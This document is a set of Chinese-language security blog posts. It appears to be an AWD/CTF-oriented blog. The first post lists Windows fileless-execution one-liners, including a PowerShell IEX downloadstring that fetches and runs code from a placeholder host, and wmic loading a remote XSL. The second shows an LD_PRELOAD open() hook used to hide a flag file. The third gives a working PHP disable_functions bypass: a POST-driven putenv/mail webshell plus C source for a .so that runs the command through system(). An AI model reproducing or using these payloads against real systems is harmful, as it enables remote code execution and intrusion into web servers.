浅谈windows下的白文件利用

最基础的就是windows自带服务
例如RDP。telnet。等等
之后再比如powershell:

powershell.exe -nop -whidden -c IEX ((new-objectnet.webclient).downloadstring('http://x.x.x.x:81/aa'))

wmic.exe:

cmd/c wmic os get /format:"\\x.x.x.x\1.xsl"&start/wait notepad

csc.exe:

"C:/Windows/Microsoft.NET/Framework64/v2.0.50727/csc.exe" /noconfig /fullpaths @"C:/Users/a/AppData/Local/Temp/l1xso2zu.cmdline"

等无落地方式执行

Tags: none

低权AWD下的蓝队简易技巧

详情看上一篇方法,突然想到一个神奇的用法。

/*
how to use:
    gcc -fpic -c -ldl hook.c
    gcc -shared -lc -o hook.so hook.o
    export LD_PRELOAD=./hook.so
    export LD_PRELOAD=NULL;       //卸载库
*/

#include<stdio.h>
char* flag_path = "/flag";
extern int __open(char *,int,int);
int open(char * path,int flags,int mode)
{
    //printf("open :%s\n",path);
    if (strcmp(path,flag_path) == 0){
        // 在这里你甚至能加入什么东西,比如
        // sleep(2000000000);
        // 或者是
        // return __open(fake_flag_path,flags,mode);
        return -1;
    }
    return __open(path,flags,mode);
}

如果在双方都是低权并且是批量的话,一般没有点意识的都不会注意到环境变量的事情。
只要在本用户的和www用户的~/.bashrc设置LD_PRELOAD。或者在php环境中的config.php,加入waf的同时同时加入一句

<?php putenv("LD_PRELOAD=xxxxx"); ?>

就行啦。
如果实在没有config.php这种所有东西都会访问的文件的话,可以手工构造一个.user.ini
然后写入

auto_prepend_file=包含上面哪个代码或者你的waf的地址

这样所有的文件都会自动包含啦。
顺带附上一个文件夹监控的脚本,用pyinotify实现的。
脚本地址:file_manage.rar
当然一般情况下,基本是没有pyinotify环境的,所以这时候两个办法,下载源码安装或者编译两份出来。
源码地址:PyInstaller-3.5.tar.zip
或者是自己编译:
x86版本:file_manage.x86.zip
x64版本:file_manage.x64.zip

Tags: awd

老调重提,谈谈Bypass disable_function

640.png
当你插入webshell的时候,就会遇上这个问题,php.ini中,把能执行命令的函数(例如system)等,都禁掉了怎么办呢?

这时候,就可以参考之前那个

新坑预定:linux下的进程/文件隐藏

中,使用了LD_PRELOAD 环境变量。这个变量名字在当时说的很清楚了

设置了这个环境变量后,linux会优先加载这个环境变量下的动态链接库程序。

那么理论上,我们只需要找到一个会调用库函数的php内置方法,然后再上传我们的so文件,劫持这个库文件添加到LD_PRELOAD全局变量中,那么系统就会自动帮我们调用我们的so文件达到getshell的效果了。

然而前提是,你的disable_function没有禁putenv这个函数,否则以上都是空话了。

使用例子,putenv+mail函数

<?php
    $cmd = $_POST['cmd'];
    putenv("EVIL_CMDLINE=" . $cmd);
    $so_path = $_POST['so'];
    putenv("LD_PRELOAD=" . $so_path);
    mail("", "", "", "");
    unlink($out_path);
?>

以及对应的so文件:reinstall.rar
代码如下:

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

其实知晓原理我们自己编写一份也挺简单的,先找到目标函数,去github/各种地方找到函数的原型,因为这次我们不是要HOOK而是直接getshell,原功能可以废弃,所以可以直接把内部实现方法掏空,替换成我们需要执行命令的代码,只需要请求参数和返回参数相同,不让程序崩溃,那么效果就可以达到了。详情可以参考我上面给出的那个连接

Tags: php
文章总数:148篇 分类总数:3个